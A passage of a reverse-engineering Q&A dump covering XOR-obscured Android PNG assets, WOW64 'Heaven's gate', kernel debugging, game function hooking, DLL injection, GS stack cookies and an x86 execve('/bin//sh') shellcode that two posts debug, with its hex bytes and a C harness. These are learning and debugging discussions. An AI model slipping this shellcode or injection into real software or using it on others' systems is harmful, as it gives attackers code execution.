    The byte 3Eh is the encoding of the segment override DS:. You observe it in an instruction like

    \n\n
    cmp     byte ptr ds:3BEh, 'C'\n
    \n\n

    The hex encoding of this instruction is (I did this manually, some bit might be wrong)

    \n\n
    3E    - segement override prefix\n80    - 8 bit ALU instruction\n3E    - mod/rm byte (reg = 7 -> instruction is CMP, mod = 0/rm = 6 -> immediate address)\nBE 03 - offset of data to compare\n43    - immediate data byte\n
    \n\n

    The sequence 3E 80 3E BE 03 53 is 6 bytes long, which matches the actual instruction length of 6 bytes (010Eh - 0108h). If you assemble the assembler source code as given by IDA using a standard x86 assembler (like MASM), the DS: prefix will be ommitted, because the addressing mode \"immediate address\" is relative to the data segment by default. IDA shows the extra DB instruction to tell you (or an assembler that tries to re-assemble the listing) that the redundant, superflous segment prefix is actually encoded in the binary. If you want to hide that information, check Options -> General -> Analysis -> \"Processor specific analysis options\" -> \"Don't display redundant instruction prefixes\".

    \n" }, { "Id": "16182", "CreationDate": "2017-08-25T20:43:45.057", "Body": "

    I am unable to open PNG files extracted from a certain Android app. I can't open them with the stock Android Gallery app. I can't open them in image browsers after downloading them on my computer. Analyzing the files with pngcheck results in this is neither a PNG or JNG image nor a MNG stream error.

    \n\n

    The files in question were extracted with apktool. Extracting them directly from device cache leads to the same problem.

    \n\n

    Further investigation with a hex editor shows that the files are missing the PNG signature and the IHDR chunk, which are normally present in a valid PNG file.

    \n\n

    Here are the headers and first few lines of both files:

    \n\n

    41 6E 74 6D 02 C5 01 DB FB C3 AB 00 00 00 00 00 63 BA A4 AD E7 E0 F0 E0 EA EA EA E7 A3 A2 AE B8 EA EA EA AA EA EA EA AA E2 E9 EA EA EA 77 5D 6B 06 EA EA EA EE 8D AB A7 AB EA EA 5B 65 E1 16 8B EF EA EA EA EB 99 B8 AD A8 EA 44 24 F6 03 EA EA E8 8B BA A6 BE AF EB F3 EA EA E5 EA EA FE EA EB F1 EA 09 13 3F E8 F4 EB EA E0 EA 0A 12 38 EA F8 EA E8 CB EB 34 1D 25 EB FD EA 31 1C 26 05 11 0C 1F 17 07 EA CE EA 32 1F 22 3E 1E 2F EA EF EA EA 07 00 00 0C 00 E9 FB DD 00 6E 00 10 68 07 E4 F9 D7 05 24 02 01 6B 00 0B 43 05 00 09 00 00 30 00 00 28 00 07 34 03 18 9B 0B 0F 62 07 01 73 00 07 39 03 ED FC E3 0D 57 06 E7 FA DB 0C 52 05 13 70 08 F2 FD EA EB FB E0 E6 F9 D9 00 2C 00 08 7C 03 C1 EB B1 06 2C 03 07 30 03 A3 DF 95 01 50 00 0A 3E 04 0F 5C 07 11 78 07 10 8B 07 04 78 01 2D B8 ...

    \n\n

    41 6E 74 6D 02 09 01 77 D9 ED AB 00 00 00 00 00 63 BA A4 AD E7 E0 F0 E0 EA EA EA E7 A3 A2 AE B8 EA EA EA 98 EA EA EA 98 E2 E9 EA EA EA 52 E9 9F A5 EA EA EA EE 8D AB A7 AB EA EA 5B 65 E1 16 8B EF EA EA EA EB 99 B8 AD A8 EA 44 24 F6 03 EA EA E9 EA BA A6 BE AF A6 83 9B 6F BF C6 6F BF C1 57 E2 ED 81 6A 22 02 C9 C9 9A D9 F5 68 29 1B 6E BC C1 6F 80 62 6C B9 C1 14 4A 4E 81 68 2D 53 9B D4 14 14 14 34 2D 3D 81 6B 23 B2 81 77 03 32 0B 68 C2 F0 AE DB F3 B7 99 AE CB A7 C3 3E BC BF ED 93 51 02 A3 00 B9 73 39 B0 6D 38 E0 CB DA FF FE FF CD A5 C5 C6 A1 BD 81 BF EE 2B 53 81 2D 56 86 84 0E 0A FE 5D 65 BB 96 B2 98 3C 50 25 4A 7A 79 41 2B E6 D6 E3 D2 15 15 FE 9C A2 83 4D 27 AF 8C A7 5A 41 26 B7 71 3D 32 65 A7 DE C9 D8 D0 11 10 D8 BF D1 CA 0A 09 CE 16 15 62 3B 29 83 68 85 CC A7 ...

    \n\n

    By comparison, here's the beginning of an example valid PNG:

    \n\n

    89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 00 50 00 00 00 50 08 06 00 00 00 ...

    \n\n

    Interestingly, both files have IDAT and IEND chunks.

    \n\n

    I am only interested in viewing the files. How can I \"repair\" them so they can be opened in normal image viewers?

    \n\n
    \n\n

    EDIT: I played with the files over the weekend and I arrived at the similar conclusions. I've decided to focus entirely on IDAT chunks. Here's what I found so far.

    \n\n

    I looked for 00 bytes that are evenly spaced. This allowed me to find scanlines of equal size.

    \n\n

    Since I know the full size of the IDAT chunk and the number of scanlines (height), I can guess width and they layout of pixels. Using truecolor pixels ended up with overstretched images. Using greyscale pixels was more promising, but well, it's greyscale - and I'm interested in color files.

    \n\n

    Could it be that the colors are indexed with a palette?

    \n", "Title": "Opening non-standard PNG files extracted from Android app - missing signature and IHDR chunk", "Tags": "|android|file-format|apk|", "Answer": "

    The first 16 bytes are unknown (likely some kind of private data). After that, a regular PNG file follows, but the first 128 bytes have been XORed with the value 234. The rest of the file is unchanged.

    \n\n

    My reason for suspecting a simple XOR was the series of 0xEA bytes near the start; typically there would be zeroes there. Applying the XOR in a hex viewer immediately showed the familiar \u2030PNG signature, followed by the missing IHDR and PLTE, and a series of nulls where previously 0xEA appeared. As that series of nulls changed halfway back to 0xEA, this indicated that only part of the file was thus obscured. Counting bytes did the rest.

    \n\n

    Unencoding is thus as simple as discarding the first 16 bytes, XORing the next 128 bytes with 234, and copying the entire rest unchanged.

    \n\n

    Encoding is theoretically possible, but for that to work, you need to know the meaning of the first 16 bytes. (It could be that these bytes are always the same, or are different in some way.)

    \n\n

    Here is an example in its unencoded form, \"levelselect/map_1.png\":

    \n\n

    \"a

    \n\n

    as unencoded by the following quick-and-dirty Python program:

    \n\n\n\n
    import sys\n\nif len(sys.argv) == 2:\n  with open(sys.argv[1], 'rb') as orig:\n    # skip first 16 bytes\n    orig.seek(16)\n    # read in the rest\n    data = bytearray(orig.read())\n    # xor first 128 bytes with 0xea\n    for x in range(0,128):\n      data[x] ^= 0xea\n    # write to new file\n    with open(sys.argv[1]+'.fixed.png', 'wb') as fixed:\n      fixed.write(data)\n
    \n\n

    (I did not test this routine on all of the files.)

    \n" }, { "Id": "16200", "CreationDate": "2017-08-28T11:22:25.693", "Body": "

    There is surprisingly little information about Windows WOW64 mechanism.
    \nI'm trying to investigate it.

    \n\n

    So when we have system call in 32-land, it calls an address that is stored in FS, which leads us to a weird jmp with 033: prefix.
    \nIf I understand correctly, this jump is transferring us to 64-land, but still on user-mode. The jump to kernel-mode should happen afterwards.

    \n\n

    I want to follow this jump. My debugger doesn't do that. How can I do it?

    \n", "Title": "How to investigate Windows 32/64bit (WOW64) transition", "Tags": "|windows|debugging|x86|anti-debugging|x86-64|", "Answer": "

    The technique of jumping to 64bit code from a 32bit WOW64-ed process is commonly called \"Heaven's gate\" when performed manually. This is usually done to use 64bit features (such as manipulating 64bit processes by calling 64bit versions of windows APIs) or by malware to make debugging more difficult, which is coincidentally what you seem to be experiencing ;).

    \n\n

    Searching for that term online may yield more results.

    \n\n

    Most user-mode debuggers indeed don't handle that transition well for multiple reasons (one being the debugger assumes a 32bit process, while you're now executing 64bit code, another being user-mode debugging APIs don't support that).

    \n\n

    TL;DR: The \"solution\" for that situation is to debug using a debugger that explicitly made the effort to support 32 and 64 bit interleaved processes. Although this is often easier for a kernel mode debugger), such as windbg, or other debuggers that support both 32 and 64 bit modes (x64dbg should be able to do it, although I never tried As mentioned in the comments x64dbg is unable to do that).

    \n\n

    A brief explanation of Heaven's gate

    \n\n

    There's a special DLL loaded into 32bit processes on 64bit windows environments, this DLL is wow64cpu.dll. This DLL is responsible for most of the WOW64 magic, and specifically for implementing the transition from 32 to 64 bit inside 32 bit processes (WOW64-ed processes).

    \n\n

    This is mandatory because as the operating system is natively 64 bit, all utilities, APIs and low level functionalities are implemented using 64 bit code (otherwise what's the point of having 64 bit OSes??). Therefore, every time an WOW64-ed process requires a OS assistance, it must first translate from 32bit CPU mode to 64 bit CPU mode.

    \n\n

    So, how's the transition done, and what's that wow64cpu.dll you mentioned got to do with it?

    \n\n

    To make a long story short, the value at fs:[0c0h] is set to an address inside wow64cpu.dll. This field is called WOW32Reserved and it points to a far jump to a specific address, using the 033 segment. Changing the segment selector to 33 (from 23, which is used for 32bit code) does not change the code selector or the base addressing, you're merely changing the GDT entry used to execute the target code, specifically - you replace the 4th GDT with the 6th.

    \n\n

    GDT entries 4 and 6 only differ in a couple of flags being set - those controlling whether the CPU is executing in 16, 32, and 64 modes (well, those GDT entries only have flags set for 32 and 64 bit modes, but transitioning to 16 bit can be achieved in a similar manner).

    \n\n

    Where to go on from here?

    \n\n

    As this is a big and complicated topic, I prefer redirecting you to relevant articles over touching the low-level details in here more than I already did. Here are several useful articles, on the more theoretical side of things:

    \n\n
      \n
    1. Explanation of the \"weird jump to 33: segment\".
      2. \n
    2. Explanation of the entire WOW64 mechanism from the process's perspective, including how to debug it to see it happening.
      3. \n
    3. A very brief explanation of the flow executed, and the article historically keying the term \"Heaven's gate\".
      4. \n
    4. Another in-depth explanation.
      5. \n
    5. The Windows Internals book series.
      6. \n
    \n\n

    Additionally, here are several actual open source implementations of natively executing 64 bit code inside WOW64-ed 32 bit process:

    \n\n
      \n
    1. This is a code snippet that implements some direct 64 bit OS operations.
      2. \n
    2. This is a full blown heaven's gate implementation.
      3. \n
    3. This is another, later, full blown heaven's gate implementation.
      4. \n
    \n" }, { "Id": "16209", "CreationDate": "2017-08-29T00:50:02.310", "Body": "

    I am trying to do windows kernel debugging with VirtualBox and WinDBG. But every time I hit a breakpoint the virtual machine CPU usage skyrockets and the CPU registers do not show up in WinDBG. Am I doing something wrong?

    \n\n

    What I have done:

    \n\n
      \n
    1. In boot.ini I set /debugport=COM1 /baudrate=115200;
      2. \n
    2. In VirtualBox I forwarded COM1 to a named pipe \\\\.\\pipe\\debug;
      3. \n
    3. In WinDBG File > Kernel Debug... > COM tab: Ticked the \"Pipe\" check box, and for the Port = \\\\\\\\.\\pipe\\debug;
      4. \n
    \n\n

    In WinDBG the debug session is found, and I can hit breakpoints, I can step through code, I can see the disassembled code in the \"Disassembly window\", and I can view memory locations in the \"Memory window\". But nothing shows up in WinDBG \"Registers window\".

    \n\n

    The Host OS is Windows 10 and for the Virtual Guest OS i tried both Windows XP and Windows 7 both have the same issue.

    \n\n

    I am really not sure where to look for answers to this issue, could anyone point me in the right direction ?

    \n\n

    For anyone else having this issue or trying to learn kernel debugging i used parts from the following tutorials to get to where I am so far:

    \n\n
      \n
    1. Windows Kernel Debugging Tips (Virtualbox documentation);
      2. \n
    2. How to configure WinDbg for kernel debugging (blogpost).
      3. \n
    \n", "Title": "Slow kernel dbg with VirtualBox and WinDBG", "Tags": "|debugging|windbg|virtual-machines|kernel|", "Answer": "

    Fixed the issue this was a two part problem.

    \n\n
      \n
    1. Avast anti virus was slowing down the VM to a crawl\nsolution uninstall avast or in some cases DISABLE the option: Settings > Troubleshooting > \"Enable hardware assisted visualization\"
      2. \n
    2. There is a bug in newer versions of WinDBG when debugging older versions of windows\nsolution use an older version of WinDBG, or use the WinDBG command \"r\" to view the cpu registers rather than using the \"Registers window\", or use a WinDBG plugin to fix the issue\nhttps://stackoverflow.com/questions/35961246/windbg-not-showing-register-values
      3. \n
    \n" }, { "Id": "16218", "CreationDate": "2017-08-30T03:17:33.920", "Body": "

    How can you call a game function inside a function hook?

    \n\n

    For example, I hooked the recv function of winsock. Then, I examined a packet. This packet has the value of my current hp. I check the hp. If it's lower than the constant hp threshold I will call a game function that uses an item to heal my hp.\nIs it possible to call that game function without crashing the application?

    \n\n

    I tried and watch the execution in the debugger it's calling the game function of use item. However, it crashes the application. I think it's probably because of registers? The stack is fine btw.

    \n\n

    I'm wondering why I when calling the send function of winsock inside the recv function does not crash. But when I call a game function other than send it crashes. Is it because i'm in a different module? or You can't call a function in a different module? But I followed the execution in the debugger and when the call to use item is executed it really goes to that function. Help me please.

    \n", "Title": "Calling a function of a game inside a function hook", "Tags": "|ida|disassembly|windows|c++|function-hooking|", "Answer": "

    In addition to Igor's answer I would like to suggest an alternative approach:

    \n\n

    If the function you're trying to call indeed expects some additional preparations, specific conditions for global game state variables, etc. It might be easier for you to just reverse engineer the function you're trying to call and implement the modification and state changes you desire yourself. This might be as easy as figuring out your character structure's memory location and modifying the health parameter with your own code.

    \n\n

    One other point to consider is that it might happen to be that the state and condition requirements set by the function you're trying to call might be more complex than just passing along the right parameters. It could expect global variables to be initialized which might only happen in later stages of the game, for example.

    \n\n

    Lastly, you might have a bug related to the way you process the received message and have hidden assumptions about the state of the game while these messages arrive. Writing careful code that validates the expected conditions might both help you diagnose the issue at hand as well as remediate it by avoiding the call in faulty circumstances.

    \n" }, { "Id": "16230", "CreationDate": "2017-09-01T07:53:38.277", "Body": "

    I created a program that performs DLL injection. It does that by opening the process with OpenProcess, writes the DLL path to the process and creates a remote thread with CreateRemoteThread with the dll as a parameter.(The DLL just spawns a messagebox). It works just fine but the problem is the second time i can't see the messagebox. The functions OpenProcess, CreateRemoteThread, VirtualAllocEx, WriteProcessMemory all return true but i can't see the thread being created and the DLL does not run.

    \n\n

    Thanks.

    \n", "Title": "DLL Injection does not work twice", "Tags": "|dll|dll-injection|thread|process|", "Answer": "

    Calling LoadLibrary twice with the same DLL name only increases the load counter but does not cause DLL entrypoint to be called again. From the doc (emphasis mine):

    \n\n
    \n

    If the specified module is a DLL that is not already loaded for the\n calling process, the system calls the DLL's DllMain function with the\n DLL_PROCESS_ATTACH value. If DllMain returns TRUE, LoadLibrary returns\n a handle to the module. If DllMain returns FALSE, the system unloads\n the DLL from the process address space and LoadLibrary returns NULL.\n It is not safe to call LoadLibrary from DllMain. For more information,\n see the Remarks section in DllMain.

    \n
    \n\n

    So if you need to execute your code again you'll have to do it explicitly, LoadLibrary won't do it for you.

    \n\n

    EDIT:

    \n\n

    One possible solution could be to use the address of the function in your (already loaded) DLL instead of LoadLibrary as the address of the second dinjected thread.

    \n" }, { "Id": "16241", "CreationDate": "2017-09-02T15:57:17.947", "Body": "

    I am currently looking at a function inside a Win32 executable's main module. After allocating memory on the stack (sub esp) and saving some registers on the stack, the value of esp is XORed with a global variable.

    \n\n
    mov eax, esp\nxor eax, DWORD PTR ds:[<some address>]\npush eax\n
    \n\n

    I wonder whether this is some kind of stack protection technique?

    \n\n

    Edit: I wrote the question from memory. The actual instruction sequence is:

    \n\n
    sub esp, 0xf0\nmov eax, DWORD PTR ds:[<some address>]\nxor eax, esp\nmov DWORD PTR ss:[esp+0xec], eax\n
    \n", "Title": "What could be the purpose of XORing esp with a global variable? (stack canary protection)", "Tags": "|disassembly|windows|x86|buffer-overflow|stack|", "Answer": "

    Yes, this is Microsoft's stack overflow protection, commonly known as \"GS cookie\". From Compiler Security Checks In Depth:

    \n\n
    \n

    When the function is compiled with /GS, the functions prolog will set\n aside an additional four bytes and add three more instructions as\n follows:

    \n\n
    sub   esp,24h\nmov   eax,dword ptr [___security_cookie (408040h)]\nxor   eax,dword ptr [esp+24h]\nmov   dword ptr [esp+20h],eax\n
    \n \n

    The prolog contains an instruction that fetches a copy of the cookie,\n followed by an instruction that does a logical xor of the cookie and\n the return address, and then finally an instruction that stores the\n cookie on the stack directly below the return address. From this point\n forward, the function will execute as it does normally. When a function returns, the last thing to execute is the function\u2019s epilog, which is the opposite of the prolog.

    \n \n

    When compiled with /GS, the security checks are also placed in the\n epilog:

    \n\n
    mov   ecx,dword ptr [esp+20h]\nxor   ecx,dword ptr [esp+24h]\nadd   esp,24h\njmp   __security_check_cookie (4010B2h)\n
    \n \n

    The stack's copy of the cookie is retrieved and then follows with the\n XOR instruction with the return address. The ECX register should\n contain a value that matches the original cookie stored in the\n __security_cookie variable. The stack space is then reclaimed, and then, instead of executing the RET instruction, the JMP instruction to\n the __security_check_cookie routine is executed.

    \n
    \n" }, { "Id": "16244", "CreationDate": "2017-09-02T16:52:26.703", "Body": "

    I have this piece of ASM:

    \n\n
    section .text\n    global _start\n\n_start:\n    xor  eax, eax\n    push eax         ; 0 to finish the /bin//sh string\n    push 0x68732f2f  ; //sh\n    push 0x6e69622f  ; /bin\n    mov  ebx, esp\n    mov  al, 0xb\n    int  0x80\n
    \n\n

    Which works fine if I do:

    \n\n
    $ nasm -f elf shellcode.asm && ld -o shellcode shellcode.o\n$ ./shellcode\n$ # the new shell\n
    \n\n

    But now, with the hex translation:

    \n\n
    $ objdump -s shellcode\n\nshellcode:     file format elf32-i386\n\nContents of section .text:\n  8048060 31c05068 2f2f7368 682f6269 6e89e3b0  1.Ph//shh/bin...\n  8048070 0bcd80                               ...\n
    \n\n

    Used here:

    \n\n
    const char shellcode[] = \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80\";\n\nint main(){\n    (*(void(*)()) shellcode)();\n    return 0;\n}\n
    \n\n

    The result is:

    \n\n
    $ gcc -o shellcode shellcode.c\n$ ./shellcode\nSegmentation fault\n
    \n\n

    I tried to practice my ASM and re-create the one provided here. The difference, which I can't explain, is that on his payload, he's pushing the an extra 0 and the address of the /bin//sh string into the stack.

    \n\n

    I though that because I was using the fastcall convention, I didn't have to setup the stack, but apparently there's more going on here.

    \n\n

    Does anyone know why the shellcode refuses to run and why setting the stack changes \"correct\" it?

    \n\n
    \n\n

    Edits:

    \n\n

    When I try to run the program from gdb I have the following result:

    \n\n
    $ gdb ./shellcode\n(gdb) run\nProgram received signal SIGSEGV, Segmentation fault.\n0x080484b3 in shellcode ()\n
    \n\n

    And here's the readelf command output:

    \n\n
    $ readelf -l -S shellcode\nThere are 30 section headers, starting at offset 0x1150:\n\nSection Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1\n  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4\n  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4\n  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4\n  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000040 10   A  6   1  4\n  [ 6] .dynstr           STRTAB          0804820c 00020c 000045 00   A  0   0  1\n  [ 7] .gnu.version      VERSYM          08048252 000252 000008 02   A  5   0  2\n  [ 8] .gnu.version_r    VERNEED         0804825c 00025c 000020 00   A  6   1  4\n  [ 9] .rel.dyn          REL             0804827c 00027c 000008 08   A  5   0  4\n  [10] .rel.plt          REL             08048284 000284 000010 08   A  5  12  4\n  [11] .init             PROGBITS        08048294 000294 000023 00  AX  0   0  4\n  [12] .plt              PROGBITS        080482c0 0002c0 000030 04  AX  0   0 16\n  [13] .text             PROGBITS        080482f0 0002f0 000192 00  AX  0   0 16\n  [14] .fini             PROGBITS        08048484 000484 000014 00  AX  0   0  4\n  [15] .rodata           PROGBITS        08048498 000498 00001c 00   A  0   0  4\n  [16] .eh_frame_hdr     PROGBITS        080484b4 0004b4 00002c 00   A  0   0  4\n  [17] .eh_frame         PROGBITS        080484e0 0004e0 0000b0 00   A  0   0  4\n  [18] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4\n  [19] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4\n  [20] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4\n  [21] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4\n  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4\n  [23] .got.plt          PROGBITS        0804a000 001000 000014 04  WA  0   0  4\n  [24] .data             PROGBITS        0804a014 001014 000008 00  WA  0   0  4\n  [25] .bss              NOBITS          0804a01c 00101c 000004 00  WA  0   0  1\n  [26] .comment          PROGBITS        00000000 00101c 00002b 01  MS  0   0  1\n  [27] .shstrtab         STRTAB          00000000 001047 000106 00      0   0  1\n  [28] .symtab           SYMTAB          00000000 001600 000430 10     29  45  4\n  [29] .strtab           STRTAB          00000000 001a30 00024e 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings)\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n\nElf file type is EXEC (Executable file)\nEntry point 0x80482f0\nThere are 9 program headers, starting at offset 52\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4\n  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1\n      [Requesting program interpreter: /lib/ld-linux.so.2]\n  LOAD           0x000000 0x08048000 0x08048000 0x00590 0x00590 R E 0x1000\n  LOAD           0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW  0x1000\n  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4\n  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4\n  GNU_EH_FRAME   0x0004b4 0x080484b4 0x080484b4 0x0002c 0x0002c R   0x4\n  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10\n  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1\n\n Section to Segment mapping:\n  Segment Sections...\n   00\n   01     .interp\n   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame\n   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss\n   04     .dynamic\n   05     .note.ABI-tag .note.gnu.build-id\n   06     .eh_frame_hdr\n   07\n   08     .init_array .fini_array .jcr .dynamic .got\n
    \n\n
    \n\n

    Comparison with this shellcode:

    \n\n

    Here're the differences:

    \n\n
    Hamza (working)     |   me\n\nASM\n\nxor    eax, eax     |   xor    eax, eax\npush   eax          |   push   eax\npush   0x68732f2f   |   push   0x68732f2f\npush   0x6e69622f   |   push   0x6e69622f\nmov    ebx, esp     |   mov    ebx, esp\npush   eax          |\npush   ebx          |\nmov    esp, ecx     |\nmov    al, 0xb      |   mov    al, 0xb\nint    0x80         |   int    0x80\n\nStack before the interrupt (each line is a word)\n\n&(/bin//sh)         | /bin\n0                   | //sh\n/bin                | 0\n//sh                |\n0                   |\n\nRegisters before the interrupt\n\neax    0xb          |   0xb\nebx    &(/bin//sh)  |   &(/bin//sh)\necx    esp          |   ?\n
    \n\n

    As you can see, the stack changes by having the string's address and an extra 0, and his ecx register is set to the last esp value. And those differences make his shellcode to work (both direcly with nasm & ld and inside the C program, without any change).

    \n\n
    \n\n

    Edit:

    \n\n

    Some progress, there's one extra instruction when the payload run within the C program:

    \n\n
    (gdb)  x/14i 0x80484a0\n   ...\n   0x80484b3 <shellcode+19>:    mov    $0xb,%al\n   0x80484b5 <shellcode+21>:    int    $0x80\n   0x80484b7 <shellcode+23>:    add    %al,(%ecx)\n
    \n\n

    While I don't know (yet) why the ecx register is incremented with the return value of the interrupt, clearing the register with xor ecx, ecx fixes the issue.

    \n\n

    Here's the working asm:

    \n\n
    section .text\n    global _start\n\n_start:\n    xor  eax, eax\n    push eax\n    push 0x68732f2f\n    push 0x6e69622f\n    mov  ebx, esp\n    xor  ecx, ecx\n    mov  al, 0xb\n    int  0x80\n
    \n", "Title": "ASM working as is, but not in a C program", "Tags": "|assembly|gdb|shellcode|", "Answer": "

    The problem with you shellcode and the why it differs if you run from C program or not is the initial values.

    \n\n

    The registers that are used when executing execv (second page) are:

    \n\n\n\n

    But actually the important one are only ebx and eax and the two other we can nullify.

    \n\n

    If you run your shellcode only the default value for the registers is 0x0 so we are getting nullification of ecx & edx for free.

    \n\n

    \"enter

    \n\n

    it's not the case when you execute your shellcode from C program.

    \n\n

    \"enter

    \n\n

    As you can see registers has already some initial values so you need to prepare them correctly. This is why adding xor ecx,ecx fixes the issue.

    \n\n

    As for the example that you took from ecx is assigned to stack pointer but on the stack there's a value that points to \"/bin/sh\" which is also ok (and probably even better than 0x00)

    \n" }, { "Id": "16249", "CreationDate": "2017-09-03T07:42:03.740", "Body": "

    So I far I have been using Snowman for PowerPC decompilation. It is bad though but better than nothing. However, right now it doesn't support floating point instructions. They are simply written down as inline assembly which is of course kinda useless since you already had that in the disassembly:

    \n\n
    void RadiusFromBoundsSq() {\n    __asm__(\"lfs f10, 8(r3)\");\n    __asm__(\"lfs f5, (r3)\");\n    __asm__(\"frsp f11, f10\");\n    __asm__(\"lfs f6, (r4)\");\n    __asm__(\"frsp f10, f5\");\n    __asm__(\"frsp f12, f6\");\n    __asm__(\"lfs f13, 4(r3)\");\n    __asm__(\"fabs f11, f11\");\n    __asm__(\"lfs f8, 4(r4)\");\n    __asm__(\"frsp f0, f13\");\n    __asm__(\"frsp f8, f8\");\n    __asm__(\"lfs f9, 8(r4)\");\n    __asm__(\"fabs f12, f12\");\n    __asm__(\"frsp f13, f9\");\n    __asm__(\"fabs f8, f8\");\n    __asm__(\"fabs f0, f0\");\n    __asm__(\"fabs f13, f13\");\n    __asm__(\"fabs f10, f10\");\n    __asm__(\"fsubs f7, f8, f0\");\n    __asm__(\"fsubs f9, f13, f11\");\n    __asm__(\"fsubs f6, f12, f10\");\n    __asm__(\"fsel f8, f7, f8, f0\");\n    __asm__(\"fsel f11, f9, f13, f11\");\n    __asm__(\"fsel f0, f6, f12, f10\");\n    __asm__(\"fmuls f13, f8, f8\");\n    __asm__(\"fmadds f7, f0, f0, f13\");\n    __asm__(\"fmadds f1, f11, f11, f7\");\n    return;\n}\n
    \n\n

    Is there any \"better\" plugin for this task besides HexRays?

    \n", "Title": "IDA Pro PowerPC Decompiler Plugin supporting Floating Point Instructions", "Tags": "|ida|decompilation|hexrays|powerpc|", "Answer": "

    These days it turns out that Ghidra was released which is a good alternative to IDA. Unlike IDA, Ghidra and its decompilers are free so we're lucky to also receive a PowerPC decompiler which is fairly powerful and it can handle floating point instructions as well.

    \n" }, { "Id": "16250", "CreationDate": "2017-09-03T07:55:53.733", "Body": "

    I have the following shellcode:

    \n\n
    xor  eax, eax   ; eax = 0\npush eax        ; 0 (end of the string)\npush 0x68732f2f ; //sh\npush 0x6e69622f ; /bin\nmov  ebx, esp   ; ebx = &(/bin//sh)\nxor  ecx, ecx   ; ecx = 0\nmov  al, 0xb    ; execve\nint  0x80\n
    \n\n

    Which, converted into hex is used in the following C program:

    \n\n
    const char shellcode[] =\n     \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xb0\\x0b\\xcd\\x80\";\n\nint main(){\n    (*(void(*)()) shellcode)();\n    return 0;\n}\n
    \n\n

    This works just fine, but when I step through the payload with gdb I see an extra instruction added to the shellcode:

    \n\n
    $ gdb shellcode\n(gdb) disass main\nDump of assembler code for function main:\n   0x080483ed <+0>:     push   %ebp\n   0x080483ee <+1>:     mov    %esp,%ebp\n   0x080483f0 <+3>:     and    $0xfffffff0,%esp\n   0x080483f3 <+6>:     mov    $0x80484a0,%eax\n   0x080483f8 <+11>:    call   *%eax\n   0x080483fa <+13>:    mov    $0x0,%eax\n   0x080483ff <+18>:    leave\n   0x08048400 <+19>:    ret\nEnd of assembler dump.\n(gdb)  x/14i 0x80484a0\n   0x80484a0 <shellcode>:       xor    %eax,%eax\n   0x80484a2 <shellcode+2>:     push   %eax\n   0x80484a3 <shellcode+3>:     push   $0x68732f2f\n   0x80484a8 <shellcode+8>:     push   $0x6e69622f\n   0x80484ad <shellcode+13>:    mov    %esp,%ebx\n   0x80484af <shellcode+15>:    xor    %ecx,%ecx\n   0x80484b1 <shellcode+17>:    mov    $0xb,%al\n   0x80484b3 <shellcode+19>:    int    $0x80\n   0x80484b7 <shellcode+21>:    add    %al,(%ecx)\n   ... (gibberish)\n
    \n\n

    You can see the shellcode+23 is an extra line, added to the shellcode.\nWhile searching for an answer here I discovered that it was making the shellcode to crash, and I had to clear the ecx register before calling the interrupt.

    \n\n

    Do you know what is this extra command?

    \n", "Title": "Added instruction to shellcode", "Tags": "|gdb|register|", "Answer": "

    Igor is right... The original shellcode does not include any ret (0xc3), so there are none in the decompiled asm. The thing is that when you ask gdb to disassemble 14 instructions, it disassembles 14 instructions interpreting the content of the memory as if it was instructions.

    \n\n

    As a proof of what I say, here is a disassembly of the instruction add %al,(%ecx):

    \n\n
    $ rasm2 -a x86 -C 'add %al,(%ecx)'\n\"\\xc0\\x00\"\n
    \n\n

    Which is, in fact, \"\\x00\\xc0\" (because of the endianness) and where the first \"\\x00\" is, in fact, the final character of the shellcode string.

    \n\n

    The following characters are very likely the code of the main function or whatever is in the memory at this place.

    \n\n

    Anyway, reread more carefully the answer of Igor (he's right!).

    \n" }, { "Id": "16254", "CreationDate": "2017-09-03T13:04:31.620", "Body": "

    According to Radare2 documentation, this is the command to find paths:

    \n\n
    agt [addr]            find paths from current offset to given address\n
    \n\n

    But when I try the command, after running aaaaa analysis, I get the following error:

    \n\n
    [0x00430044]> agt 0x0042aa98 > agtoutput.dot\nUnable to find source or destination basic block\n
    \n\n

    I can confirm that the two addresses are functions and I can graph each function individually. Also, 0x00430044 does lead to 0x0042aa98. I can see that from the gdb trace. I looked at the radare2 canal.c code and found that it's looking through the RAnalFunction->bbs for the provided addresses. I tried ensuring that bbs was populated with those addressings by running abb $s

    \n\n
    abb [length]         analyze N bytes and extract basic blocks \n
    \n\n

